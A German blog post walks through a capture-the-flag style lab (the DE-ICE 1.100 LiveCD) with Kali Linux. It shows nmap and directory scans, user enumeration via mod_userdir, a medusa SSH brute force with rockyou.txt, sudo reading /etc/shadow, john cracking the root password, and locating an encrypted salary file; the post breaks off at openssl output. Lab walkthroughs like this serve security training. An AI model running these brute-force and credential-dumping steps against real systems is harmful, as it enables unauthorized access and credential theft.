DE-ICE1.100 vs. Kali Linux

Wieder einmal plagt mich der Spieltrieb und wieder einmal muss eine der Herot.net CDs dafür herhalten. Mangels alternative geht es heute an die DE-ICE1.100. Also erst einmal fleißig das Lab hochfahren, IP Adresse für meinen Labtop mit Kali Linux vergeben und schon kann der Spaß beginnen. Schauen wir uns doch zuerst einmal an was sich da so alles im Netzwerk tummelt.

root@brecht-lab:/home/brechthold/pentest/de-ice1.100# nmap -A 192.168.1.1/24 -oN de-ice1.100.nmap -oX de-ice1.100.xnmap -oG de-ice1.100.gnmap

Starting Nmap 6.25 ( http://nmap.org ) at 2013-04-11 18:57 CEST
Nmap scan report for 192.168.1.1
Host is up (0.0038s latency).
All 1000 scanned ports on 192.168.1.1 are filtered
MAC Address: 8C:89:A5:83:A8:14 (Micro-Star INT'L CO.)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   3.83 ms 192.168.1.1

Nmap scan report for 192.168.1.20
Host is up (0.000047s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE VERSION
8010/tcp open  xmpp?
No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=6.25%E=4%D=4/11%OT=8010%CT=1%CU=36233%PV=Y%DS=0%DC=L%G=Y%TM=5166E
OS:BC0%P=i686-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=8)OPS
OS:(O1=MFFD7ST11NW7%O2=MFFD7ST11NW7%O3=MFFD7NNT11NW7%O4=MFFD7ST11NW7%O5=MFF
OS:D7ST11NW7%O6=MFFD7ST11)WIN(W1=AAAA%W2=AAAA%W3=AAAA%W4=AAAA%W5=AAAA%W6=AA
OS:AA)ECN(R=Y%DF=Y%T=40%W=AAAA%O=MFFD7NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=40%CD=S)

Network Distance: 0 hops

Nmap scan report for 192.168.1.100
Host is up (0.0095s latency).
Not shown: 992 filtered ports
PORT    STATE  SERVICE  VERSION
20/tcp  closed ftp-data
21/tcp  open   ftp      vsftpd (broken: could not bind listening IPv4 socket)
22/tcp  open   ssh      OpenSSH 4.3 (protocol 1.99)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
|_sshv1: Server supports SSHv1
25/tcp  open   smtp     Sendmail 8.13.7/8.13.7
| smtp-commands: slax.example.net Hello [192.168.1.20], pleased to meet you, ENHANCEDSTATUSCODES, PIPELINING, 8BITMIME, SIZE, DSN, ETRN, AUTH DIGEST-MD5 CRAM-MD5, DELIVERBY, HELP, 
|_ 2.0.0 This is sendmail version 8.13.7 2.0.0 Topics: 2.0.0 HELO EHLO MAIL RCPT DATA 2.0.0 RSET NOOP QUIT HELP VRFY 2.0.0 EXPN VERB ETRN DSN AUTH 2.0.0 STARTTLS 2.0.0 For more info use "HELP ". 2.0.0 To report bugs in the implementation see 2.0.0 http://www.sendmail.org/email-addresses.html 2.0.0 For local information send email to Postmaster at your site. 2.0.0 End of HELP info 
80/tcp  open   http     Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Site doesn't have a title (text/html).
110/tcp open   pop3     Openwall popa3d
143/tcp open   imap     UW imapd 2004.357
|_imap-capabilities: STARTTLS completed IMAP4REV1 MAILBOX-REFERRALS THREAD=REFERENCES THREAD=ORDEREDSUBJECT IDLE LITERAL+ SCAN CAPABILITY UNSELECT OK LOGIN-REFERRALS BINARY AUTH=LOGINA0001 SASL-IR MULTIAPPEND NAMESPACE SORT
443/tcp closed https
MAC Address: 52:54:00:FD:F0:0A (QEMU Virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.13 - 2.6.32
Network Distance: 1 hop
Service Info: Host: slax.example.net; OS: Unix

TRACEROUTE
HOP RTT     ADDRESS
1   9.51 ms 192.168.1.100

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 256 IP addresses (3 hosts up) scanned in 75.41 seconds

Klingt doch für den Anfang mal gar nicht so übel. Wir haben da jetzt also folgende Hosts online:

  • 192.168.1.1 Unser Gateway – Interessiert uns jetzt in diesem Test mal vorläufig nicht
  • 192.168.1.20 Mein Labtop mit Kali-linux
  • 192.168.1.100 Unser Target

An unserem Zielsystem ist wie man es von der DE-ICE Reihe gewohnt ist Port 80 offen also Browser auf und prüfen was die Webseite so hergibt.

Introscreen der DE-ICE1.100 LiveCD

Bevor ich mich auf die eigentliche Webseite stürze klicke ich noch einmal kurz bei der Intro Seite der DE-ICE CD vorbei um mir noch einmal den Schwirigkeitsgrad anzusehen.

Schwirigkeit: leicht, Zeitvorgabe:45 Minuten

Klingt doch jetzt gar nicht einmal so schlecht, ich befürchte allerdings das da heute mit nebenher bloggen die Zeitvorgabe etwas überschritten wird, so ganz nebenbei ist mein Ziel heute ja nicht wirklich diese Challange zu knacken sondern mich ein wenig durch die Kali-Linux Tools zu wühlen. Also auf ins Gefecht.

No Security Corps Webseite

Da mein Tag gerade eh nicht so der beste ist (Bewerbungsgespräch als Windows2008 Admin, wüüürg!!!) nehme ich jetzt an dieser Stelle direkt einmal den Holzhammer anstatt mich vorsichtig heranzutasten. Der erste Plan ist also „Wir haben einen Webserver, schauen wir mal was da noch so drauf liegt!“. Wir brauchen ein Tool das uns da mal die üblichen Verzeichnisse checkt. Was hat den Kali da so im Angebot. Ein kurzer blick ins Menü zeigt mir das die Oldies doch noch nicht so ganz veraltet sind. Der gute alte Dirbuster ist in Kali-Linux immernoch enthalten.

Dirbuster ist das aktuelle mittel der Wahl

 

Es dauerte ein wenig bis ich es ohne das /Pentest verzeichnis geschafft hatte das passende Dictionary zu finden doch am Ende lag es genau da wo man es eigentlich vermuten würde. In /usr/share/dirbuster/wordlists , manchmal kann das Leben doch so einfach sein. Also lassen wir das Teil einmal seine Arbeit tun und schön viele Logs auf den Server schreiben 😉

Dirbuster kurz vor dem Start

Scheint ich müsste mir das mit der Zeitvorgabe noch einmal ernsthaft durch den Kopf gehen lassen, aber was solls man will ja gründlich sein.

Dirbuster bei der ArbeitWährend Dirbuster sich also durch die Verzeichnisse arbeitet gehe ich mir jetzt erstmal gemütlich etwas zu Essen und ein wenig Nervennahrung besorgen, bis ich wieder da bin sollte sich da dann was getan haben.

Nach einer reichhaltigen Mahlzeit und einem ordentlichen Kaffee war dann auch Dirbuster mit seinem Lauf durch. Schauen wir mal was er uns zu sagen hat.

DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Thu Apr 11 20:30:32 CEST 2013
--------------------------------

http://192.168.1.100:80
--------------------------------
Directories found during testing:

Dirs found with a 200 response:

/
/icons/
/icons/small/

Dirs found with a 403 response:

/cgi-bin/

--------------------------------
Files found during testing:

Files found with a 200 responce:

/index.php
/level.php
/copyright.txt
/index2.php
/info.php

--------------------------------

Na immerhin war der Einsatz von Dirbuster nicht ganz umsonst. 2 neue Dateien sind uns immerhin in die Hände gefallen, einmal die copyright.php die so exakt gar nichts mit unserem Spielchen hier zu tun hat.
DE-ICE1.100 copyright.txt

 

Zum anderen eine info.php Datei, wie der Name schon vermuten lässt versteckt sich darin ein phpinfo() Kommando. Immerhin wissen wir jetzt mit welchen Apache und PHP Versionen und welchen Plugins wir es zu tun haben.

Die info.php Datei. Gefunden durch Dirbuster

Die info.php ist jetzt auch nicht so wirklich der heilige Gral, bis ich in den Apache2 plugins einen alten Freund entdecke. Bei dem Apache Webserver ist mod_userdir installiert, damit sollte sich doch zumindest einmal abklären lassen welche Benutzer auf dem System vorhanden sind.

info.php Datei zeigt an das mod_userdir in Apache aktiviert ist.

Bis jetzt haben wir also einen Haufen Zeit darauf verschwendet dinge zu erfahren die uns nicht wirklich weiter gebracht haben. Es wird Zeit noch ein paar Gänge höher zu schalten. Schauen wir also noch einmal auf die Webseite der „No Security Corp“ und besorgen uns eine Liste von potentiellen Benutzernamen. Nehmen wir uns zunächst einmal die Emailadressen vor:

marym@herot.net
patrickp@herot.net
thompsont@herot.net
benedictb@herot.net
genniege@herot.net
michaelp@herot.net
longe@herot.net
adamsa@herot.net
banterb@herot.net
coffeec@herot.net

Das ist dann erstmal eine liste von potentiellen Emailaccounts die auf diesem Server existieren. Fügen wir doch einfach einmal auf verdacht Charlie „O“, den CEO, hinzu. Dessen Emailadresse ist zwar nicht auf der Webseite gelistet aber mit dem Namen hätten wir ja erst einmal alles was wir brauchen. Wir fügen also charlieo@herot.net zu unserer Liste hinzu.Daraus ergibt sich dann eine ganz nette Liste an Usernamen die wir durchtesten können. Da auf diesem Server auch irgendwann einmal ein FTP-Server installiert war fügen wir noch den User ftp hinzu, nur für alle Fälle. Unsere Liste sieht also jetzt so aus:

marym
patrickp
thompsont
benedictb
genniege
michaelp
longe
adamsa
banterb
coffeec
charlieo
ftp

Damit sollte sich doch etwas anfangen lassen. Um das jetzt gegen den mod_userdir zu testen fügen wir doch einfach vor jedem Benutzernamen ein „~“ hinzu und testen die Liste gegen den Server. Da ich von Dirbuster inzwischen leicht angenervt bin, aufgrund der Zeit die es mich gekostet hat, versuchen wir es diesmal mit dirb.  Schauen wir uns einmal das Ergebnis an:

root@brecht-lab:/home/brechthold/pentest/de-ice1.100# cat users.txt
~marym
~patrickp
~thompsont
~benedictb
~genniege
~michaelp
~longe
~adamsa
~banterb
~coffeec
~charlieo
~ftproot@brecht-lab:/home/brechthold/pentest/de-ice1.100# dirb http://192.168.1.100/ users.txt

-----------------
DIRB v2.03    
By The Dark Raver
-----------------

START_TIME: Fri Apr 12 08:16:54 2013
URL_BASE: http://192.168.1.100/
WORDLIST_FILES: users.txt

-----------------

GENERATED WORDS: 11                                                            

---- Scanning URL: http://192.168.1.100/ ----
+ http://192.168.1.100/~ftp                                                    
    (FOUND: 403 [Forbidden] - Size: 412)

-----------------
DOWNLOADED: 11 - FOUND: 1

Also schon wieder Fehlanzeige, na immerhin funktioniert mod_userdir. Warum ist aber keiner der Benutzernamen auf dem System vorhanden? Heute ist wirklich nicht mein Tag. Also erweitern wir einmal unsere Users.txt um ein paar mehr Variationen der Usernamen.
Für den Moment sieht das dann so aus:

~marym
~patrickp
~thompsont
~benedictb
~genniege
~michaelp
~longe
~adamsa
~banterb
~coffeec
~charlieo
~ftp
~mmary
~ppatrick
~tthompson
~bbenedict
~egennieg
~pmichael
~elong
~aadams
~bbanter
~ccoffee
~ocharlie
~marie.mary
~pat.patrick
~terry.thompson
~ben.benedict
~erin.gennieg
~paul.michael
~ester.long
~adam.adams
~bob.banter
~chad.coffee
~mary.marie
~patrick.pat
~thompson.terry
~benedict.ben
~gennieg.erin
~michael.paul
~long.ester
~adams.adam
~banter.bob
~coffee.chad

Na dann auf ein neues, dirb wartet schon auf seinen erneuten Einsatz. Was die Zeitvorgabe angeht sind wir mittlerweile über 2 Stunden drüber und haben noch nicht einmal einen Account auf der Kiste. Weshalb ich dann ab jetzt die Zeitvorgabe besser nicht mehr erwähnen werde.

root@brecht-lab:/home/brechthold/pentest/de-ice1.100# dirb http://192.168.1.100/ users.txt

-----------------
DIRB v2.03    
By The Dark Raver
-----------------

START_TIME: Fri Apr 12 08:51:48 2013
URL_BASE: http://192.168.1.100/
WORDLIST_FILES: users.txt

-----------------

GENERATED WORDS: 43                                                            

---- Scanning URL: http://192.168.1.100/ ----
+ http://192.168.1.100/~ftp                                                    
    (FOUND: 403 [Forbidden] - Size: 412)
+ http://192.168.1.100/~aadams                                                 
    (FOUND: 403 [Forbidden] - Size: 415)
+ http://192.168.1.100/~bbanter                                                
    (FOUND: 403 [Forbidden] - Size: 416)
+ http://192.168.1.100/~ccoffee                                                
    (FOUND: 403 [Forbidden] - Size: 416)

-----------------
DOWNLOADED: 43 - FOUND: 4

Wow, endlich einmal ein wenig Glück am heutigen Tag. Wir haben 3 Useraccounts und den FTPaccount identifiziert. Das sieht ja schon ganz gut aus, Was jetzt?
Na laut nmap haben wir da noch ein paar Dinge zur Auswahl. Zur Erinnerung hier nochmal die Ausgabe von nmap in kurzform:

Nmap scan report for 192.168.1.100
Host is up (0.0095s latency).
Not shown: 992 filtered ports
PORT    STATE  SERVICE  VERSION
20/tcp  closed ftp-data
21/tcp  open   ftp      vsftpd (broken: could not bind listening IPv4 socket)
22/tcp  open   ssh      OpenSSH 4.3 (protocol 1.99)
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
|_sshv1: Server supports SSHv1
25/tcp  open   smtp     Sendmail 8.13.7/8.13.7
| smtp-commands: slax.example.net Hello [192.168.1.20], pleased to meet you, ENHANCEDSTATUSCODES, PIPELINING, 8BITMIME, SIZE, DSN, ETRN, AUTH DIGEST-MD5 CRAM-MD5, DELIVERBY, HELP, 
|_ 2.0.0 This is sendmail version 8.13.7 2.0.0 Topics: 2.0.0 HELO EHLO MAIL RCPT DATA 2.0.0 RSET NOOP QUIT HELP VRFY 2.0.0 EXPN VERB ETRN DSN AUTH 2.0.0 STARTTLS 2.0.0 For more info use "HELP ". 2.0.0 To report bugs in the implementation see 2.0.0 http://www.sendmail.org/email-addresses.html 2.0.0 For local information send email to Postmaster at your site. 2.0.0 End of HELP info 
80/tcp  open   http     Apache httpd 2.0.55 ((Unix) PHP/5.1.2)
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Site doesn't have a title (text/html).
110/tcp open   pop3     Openwall popa3d
143/tcp open   imap     UW imapd 2004.357
|_imap-capabilities: STARTTLS completed IMAP4REV1 MAILBOX-REFERRALS THREAD=REFERENCES THREAD=ORDEREDSUBJECT IDLE LITERAL+ SCAN CAPABILITY UNSELECT OK LOGIN-REFERRALS BINARY AUTH=LOGINA0001 SASL-IR MULTIAPPEND NAMESPACE SORT
443/tcp closed https
MAC Address: 52:54:00:FD:F0:0A (QEMU Virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.13 - 2.6.32
Network Distance: 1 hop
Service Info: Host: slax.example.net; OS: Unix

Es stehen uns also noch Imap,Pop3 (Was wahrscheinlich beides mit den Emailaccounts funktioniert hätte), einen FTP der nicht funktioniert und natürlich SSH. Letzteres dürfte zwar aufgrund der Verschlüsselung am längsten dauern aber ich will jetzt endlich eine Shell. SSH soll es also sein, dafür sollte sich doch das ein oder andere Tool finden lassen.

Fürs erste entscheide ich mich für medusa, welches mir in der Vergangenheit schon mehrmals gute Dienste geleistet hat. Was die benötigte Passwortliste angeht so hält Kali Linux die Rockyou.txt bereit. Ich würde zwar meine eigene Liste bevorzugen doch heute bleiben wir einmal bei den Bordmitteln. Wir wollen also mit dieser Benutzerliste:

aadams
bbanter
ccoffee
ftp
root

und der rockyou.txt auf ssh losgehen. Der passende Befehl sieht dann so aus:

medusa -h 192.168.1.100 -U users.txt -P /usr/share/wordlists/rockyou.txt  -e ns -M ssh -O medusa.txt

-h 192.168.1.100 – steht hierbei für den Host den wir „testen“ wollen
-U users.txt – steht für die Datei die die Benutzernamen enthält.
-P /usr/share/wordlists/rockyou.txt – steht für die Passwortdatei die wir verwenden wollen.
-e ns – sorgt dafür das auch Benutzername=Passwort und leere Passwörter getestet werden.
-M ssh -steht für das Medusamodul das wir verwenden wollen.

In der Theorie sollte da jetzt also demnächst ein Account für uns zur Verfügung stehen, bis es soweit ist dauert es allerdings wieder eine Weile. Also geht es für mich jetzt ersteinmal wieder auf zum Kaffee besorgen bis sich da etwas tut.

Nach meiner Kaffee besorgung stelle ich fest auf was ich mich da eingelassen habe. Ich habe gerade ein Programm dazu veranlasst 14344393 Passwörter gegen 5 Benutzerkonten zu Testen. Das könnte diesmal wirklich etwas länger dauern.

Stand nach inzwischen 2 Stunden mit Medusa:

ACCOUNT CHECK: [ssh] Host: 192.168.1.100 (1 of 1, 0 complete) User: ccoffee (3 of 5, 2 complete) Password: del123 (160715 of 14344393 complete)

Wie war das noch gleich mit der Zeitvorgabe von 45 Minuten? Ich schätze aktuell mal eher auf 6-8 Stunden Arbeitszeit bis ich das Ding komplett habe was wahrscheinlich daran liegt das ich hier immer gleich die Monster an Dictionarys auffahre. Gründlichkeit hat halt ihren Preis 😉 Was macht man eigentlich während solcher Wartezeiten? News lesen, Kaffee besorgen, essen und schlafen so sieht zumindest meine Ablenkung gerade aus. Während medusa im Hintergrund jetzt noch ein wenig vor sich hin arbeitet schauen wir doch mal was sich in der Textdatei so tut die medusa als output verwendet. Dort sollten jetzt ja schon einmal ein paar  Passwörter stehen mit denen wir jetzt fürs erste einmal weiterarbeiten können.

Bis jetzt enthält unsere medusa.txt folgende Zeilen:

# Medusa v.2.0
# medusa -h 192.168.1.100 -U users.txt -P /usr/share/wordlists/rockyou.txt -e ns -M ssh -O medusa.txt
ACCOUNT FOUND: [ssh] Host: 192.168.1.100 User: aadams Password: nostradamus [SUCCESS]
ACCOUNT FOUND: [ssh] Host: 192.168.1.100 User: bbanter Password: bbanter [SUCCESS]

Gut, damit lässt sich jetzt wirklich arbeiten. 2te Konsole auf und endlich rauf auf die Kiste.

brechthold@brecht-lab:~$ ssh aadams@192.168.1.100
RSA key fingerprint is ab:ab:a8:ad:a2:f2:fd:c2:6f:05:99:69:40:54:ec:10.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.100' (RSA) to the list of known hosts.
aadams@192.168.1.100's password:
Linux 2.6.16.
aadams@slax:~$ ls
aadams@slax:~$ pwd
/home/aadams
aadams@slax:~$ ls -ahl
total 4.0K
drwxr-x--- 2 aadams users 80 Jun 29 2007 ./
drwxr-xr-x 8 root root 120 Jun 29 2007 ../
-r-xr-xr-x 1 aadams users 3.7K Jun 29 2007 .screenrc*
aadams@slax:~$ screen -r
There is no screen to be resumed.
aadams@slax:~$ ls /home/ -ahl
/bin/ls: /home/ccoffee: Permission denied
/bin/ls: /home/bbanter: Permission denied
total 0
drwxr-xr-x 8 root root 120 Jun 29 2007 ./
drwxr-xr-x 68 root root 240 Apr 11 16:32 ../
drwxr-x--- 3 aadams users 100 Apr 12 10:59 aadams/
drwx------ 3 root root 60 Jun 29 2007 ftp/
aadams@slax:~$ cat /etc/passwd
root:x:0:0:DO NOT CHANGE PASSWORD - WILL BREAK FTP ENCRYPTION:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/log:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
ftp:x:14:50::/home/ftp:
smmsp:x:25:25:smmsp:/var/spool/clientmqueue:
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
rpc:x:32:32:RPC portmap user:/:/bin/false
sshd:x:33:33:sshd:/:
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
pop:x:90:90:POP:/:
nobody:x:99:99:nobody:/:
aadams:x:1000:10:,,,:/home/aadams:/bin/bash
bbanter:x:1001:100:,,,:/home/bbanter:/bin/bash
ccoffee:x:1002:100:,,,:/home/ccoffee:/bin/bash

aadams@slax:~$ cat /etc/group
root::0:root
bin::1:root,bin,daemon
daemon::2:root,bin,daemon
sys::3:root,bin,adm
adm::4:root,adm,daemon
tty::5:
disk::6:root,adm
lp::7:lp
mem::8:
kmem::9:
wheel::10:root
floppy::11:root
mail::12:mail
news::13:news
uucp::14:uucp
man::15:
audio::17:
video::18:
cdrom::19:
games::20:
slocate::21:
utmp::22:
smmsp::25:smmsp
mysql::27:
rpc::32:
sshd::33:sshd
gdm::42:
shadow::43:
ftp::50:
pop::90:pop
scanner::93:
nobody::98:nobody
nogroup::99:
users::100:
console::101:

Schön, schauen wir mal was unser User aadams so alles darf. Er ist ja immerhin Systemadministrator, irgendwelche Rechte muss er ja haben.

aadams@slax:~$ sudo /bin/bash
Sorry, user aadams is not allowed to execute '/bin/bash' as root on slax.
aadams@slax:~$ sudo /bin/ls
aadams@slax:~$ sudo /bin/ls -ahl /home/
total 0
drwxr-xr-x 8 root root 120 Jun 29 2007 .
drwxr-xr-x 68 root root 240 Apr 11 16:32 ..
drwxr-x--- 3 aadams users 120 Apr 12 11:04 aadams
drwxr-x--- 2 bbanter users 80 Jun 29 2007 bbanter
drwxr-x--- 2 ccoffee users 80 Jun 29 2007 ccoffee
drwx------ 3 root root 60 Jun 29 2007 ftp
aadams@slax:~$ sudo /bin/ls -ahl /home/bbanter/
total 4.0K
drwxr-x--- 2 bbanter users 80 Jun 29 2007 .
drwxr-xr-x 8 root root 120 Jun 29 2007 ..
-r-xr-xr-x 1 bbanter users 3.7K Jun 29 2007 .screenrc
aadams@slax:~$ sudo /bin/ls -ahl /home/ccoffee/
total 4.0K
drwxr-x--- 2 ccoffee users 80 Jun 29 2007 .
drwxr-xr-x 8 root root 120 Jun 29 2007 ..
-r-xr-xr-x 1 ccoffee users 3.7K Jun 29 2007 .screenrc
aadams@slax:~$ sudo /bin/ls -ahl /root/
total 9.0K
drwxr-xr-x 10 root root 244 Jul 20 2006 .
drwxr-xr-x 68 root root 240 Apr 11 16:32 ..
-rw----r-- 1 root root 0 Apr 3 2005 .ICEauthority
-rw----r-- 1 root root 0 Apr 3 2005 .Xauthority
-rw-r--r-- 1 root root 685 May 23 2005 .Xresources
drwx---r-x 3 root root 22 Jul 20 2006 .config
drwx---r-x 3 root root 62 Jul 20 2006 .fluxbox
-rw-r--r-- 1 root root 5.2K Mar 28 2006 .fonts.cache-1
-rw-r--r-- 1 root root 516 Mar 28 2006 .fonts.conf
lrwxrwxrwx 1 root root 16 Jul 20 2006 .icons -> /usr/share/icons
-rw-r--r-- 1 root root 64 Jul 4 2004 .joerc
drwxr-xr-x 4 root root 45 Jul 20 2006 .kde
-rw----r-- 1 root root 444 Mar 28 2006 .kderc
drwx---r-x 3 root root 22 Jul 20 2006 .local
drwxr-xr-x 2 root root 20 Jul 20 2006 .mc
drwxr--r-x 2 root root 83 Jul 20 2006 .mplayer
drwxr-xr-x 2 root root 74 Jul 20 2006 .qt
drwx---r-x 2 root root 63 Jul 20 2006 Desktop
-rw-r--r-- 1 root root 323 May 2 2005 Set IP address

Cool, wir bekommen zwar keine Shell mit Adminrechten auf aber immerhin können wir uns mal durch die Verzeichnisse arbeiten. Eventuell geht ja auch noch etwas anderes.

aadams@slax:~$ sudo cat /etc/shadow
root:$1$TOi0HE5n$j3obHaAlUdMbHQnJ4Y5Dq0:13553:0:::::
bin:*:9797:0:::::
daemon:*:9797:0:::::
adm:*:9797:0:::::
lp:*:9797:0:::::
sync:*:9797:0:::::
shutdown:*:9797:0:::::
halt:*:9797:0:::::
mail:*:9797:0:::::
news:*:9797:0:::::
uucp:*:9797:0:::::
operator:*:9797:0:::::
games:*:9797:0:::::
ftp:*:9797:0:::::
smmsp:*:9797:0:::::
mysql:*:9797:0:::::
rpc:*:9797:0:::::
sshd:*:9797:0:::::
gdm:*:9797:0:::::
pop:*:9797:0:::::
nobody:*:9797:0:::::
aadams:$1$6cP/ya8m$2CNF8mE.ONyQipxlwjp8P1:13550:0:99999:7:::
bbanter:$1$hl312g8m$Cf9v9OoRN062STzYiWDTh1:13550:0:99999:7:::
ccoffee:$1$nsHnABm3$OHraCR9ro.idCMtEiFPPA.:13550:0:99999:7:::

Mit einem leichten grinsen im Gesicht unterbreche ich den lauf von medusa und speichere mir den Inhalt der shadow Datei auf meinem Rechner. Ab jetzt sollte es eigentlich schneller gehen. Unser alter Freund john ist jetzt wieder gefragt. vorher bereinigen wir die shadow aber erst um die Accounts deren Passwörter wir bereits haben bzw. die Accounts die gar kein Passwort besitzen. Jetzt sieht das ganze also so aus:

root@brecht-lab:/home/brechthold/pentest/de-ice1.100# cat shadow
root:$1$TOi0HE5n$j3obHaAlUdMbHQnJ4Y5Dq0:13553:0:::::
ccoffee:$1$nsHnABm3$OHraCR9ro.idCMtEiFPPA.:13550:0:99999:7:::
root@brecht-lab:/home/brechthold/pentest/de-ice1.100# john shadow --wordlist=/usr/share/wordlists/rockyou.txt
Loaded 2 password hashes with 2 different salts (FreeBSD MD5 [128/128 SSE2 intrinsics 12x])

Das sieht jetzt doch schon einmal sehr vielversprechend aus. In der Zeit in der sich john durch die Passwörter arbeitet schauen wir einmal was aadams uns sonst noch an Informationen liefern kann.

aadams@slax:~$ sudo ls /var/mail/ -ahl
total 0
drwxr-xr-x 2 root root 3 Jul 20 2006 .
drwxr-xr-x 12 root root 100 Apr 11 16:47 ..
aadams@slax:~$ sudo ls /root/Desktop/ -ahl
total 8.0K
drwx---r-x 2 root root 63 Jul 20 2006 .
drwxr-xr-x 10 root root 244 Jul 20 2006 ..
-rw-r--r-- 1 root root 69 Mar 31 2005 .directory
-rw-r--r-- 1 root root 4.4K Mar 31 2005 Home.desktop
-rw-r--r-- 1 root root 2.9K Mar 31 2005 System.desktop
aadams@slax:~$ sudo ls /root/ -ahl
total 9.0K
drwxr-xr-x 10 root root 244 Jul 20 2006 .
drwxr-xr-x 68 root root 240 Apr 11 16:32 ..
-rw----r-- 1 root root 0 Apr 3 2005 .ICEauthority
-rw----r-- 1 root root 0 Apr 3 2005 .Xauthority
-rw-r--r-- 1 root root 685 May 23 2005 .Xresources
drwx---r-x 3 root root 22 Jul 20 2006 .config
drwx---r-x 3 root root 62 Jul 20 2006 .fluxbox
-rw-r--r-- 1 root root 5.2K Mar 28 2006 .fonts.cache-1
-rw-r--r-- 1 root root 516 Mar 28 2006 .fonts.conf
lrwxrwxrwx 1 root root 16 Jul 20 2006 .icons -> /usr/share/icons
-rw-r--r-- 1 root root 64 Jul 4 2004 .joerc
drwxr-xr-x 4 root root 45 Jul 20 2006 .kde
-rw----r-- 1 root root 444 Mar 28 2006 .kderc
drwx---r-x 3 root root 22 Jul 20 2006 .local
drwxr-xr-x 2 root root 20 Jul 20 2006 .mc
drwxr--r-x 2 root root 83 Jul 20 2006 .mplayer
drwxr-xr-x 2 root root 74 Jul 20 2006 .qt
drwx---r-x 2 root root 63 Jul 20 2006 Desktop
-rw-r--r-- 1 root root 323 May 2 2005 Set IP address
aadams@slax:~$ sudo cat /root/Set\ IP\ address
[Desktop Entry]
Comment=
Comment[en_US]=
Encoding=UTF-8
Exec=kmdr-executor /usr/share/slax/network-conf.kmdr
GenericName=
GenericName[en_US]=
Icon=knetattach
MimeType=
Name=
Name[en_US]=
Path=
StartupNotify=true
Terminal=false
TerminalOptions=
Type=Application
X-DCOP-ServiceType=
X-KDE-SubstituteUID=false
X-KDE-Username=

So wirklich schön ist das ja jetzt nicht. Keine Mails, keine schönen Dateien, nichts das man wirklich verwerten könnte. Schauen wir uns doch einmal das /home/ftp/ Verzeichniss etwas genauer an. Oh, halt. John hat seine arbeit bereits getan und wirft uns folgende Ausgabe um die Ohren.

root@brecht-lab:/home/brechthold/pentest/de-ice1.100# john shadow --wordlist=/usr/share/wordlists/rockyou.txt
Loaded 2 password hashes with 2 different salts (FreeBSD MD5 [128/128 SSE2 intrinsics 12x])
tarot (root)
hierophant (ccoffee)
guesses: 2 time: 0:00:01:48 DONE  c/s: 18478 trying: hieungt - hiepthai

Das erleichtert uns jetzt natürlich ein wenig das arbeiten da wir uns fürs erste von aadams verabschieden können. Immerhin sind wir jetzt root. Jetzt müssen wir nur noch unsere Beute finden, irgendwas ordentliches muss ja auf dem Rechner zu finden sein.

aadams@slax:~$ su
Password: *****
root@slax:/home/aadams# cd /home/ftp/
root@slax:/home/ftp# ls -ahl
total 0
drwx------ 3 root root 60 Jun 29 2007 .
drwxr-xr-x 8 root root 120 Jun 29 2007 ..
dr-xr-xr-x 2 root root 80 Jun 29 2007 incoming
root@slax:/home/ftp# cd incoming/
root@slax:/home/ftp/incoming# ls
salary_dec2003.csv.enc
root@slax:/home/ftp/incoming# ls -ahl
total 140K
dr-xr-xr-x 2 root root 80 Jun 29 2007 .
drwx------ 3 root root 60 Jun 29 2007 ..
-r-xr-xr-x 1 root root 130K Jun 29 2007 salary_dec2003.csv.enc

Ahja, also irgenwie hat es da eine Datei geschafft auf dem defekten FTP Server zu landen. Egal, machen wir das doch gleich mal auf.

root@slax:/home/ftp/incoming# cat salary_dec2003.csv.enc

Es handelt sich bei dieser Datei um eine Binärdatei und diese zerstörten Ausgaben müssen wir uns ja jetzt nicht so wirklich anschauen. Was machen wir jetzt also mit einer .enc Datei?

Nach ein wenig Suche im Internet kam ich auf 2 mögliche Lösungen. Entweder hat sich da jemand mit gpg oder mit openssl versucht.

Internetseite die ich bei der Suche nach .enc und linux gefunden habe

 

Auf unserem Zielsystem ist zumindest kein gpg installiert also halten wir uns doch für das erste an openssl.

root@slax:/home/ftp/incoming# openssl -h
openssl:Error: '-h' is an invalid command.

Standard commands
asn1parse ca ciphers crl crl2pkcs7
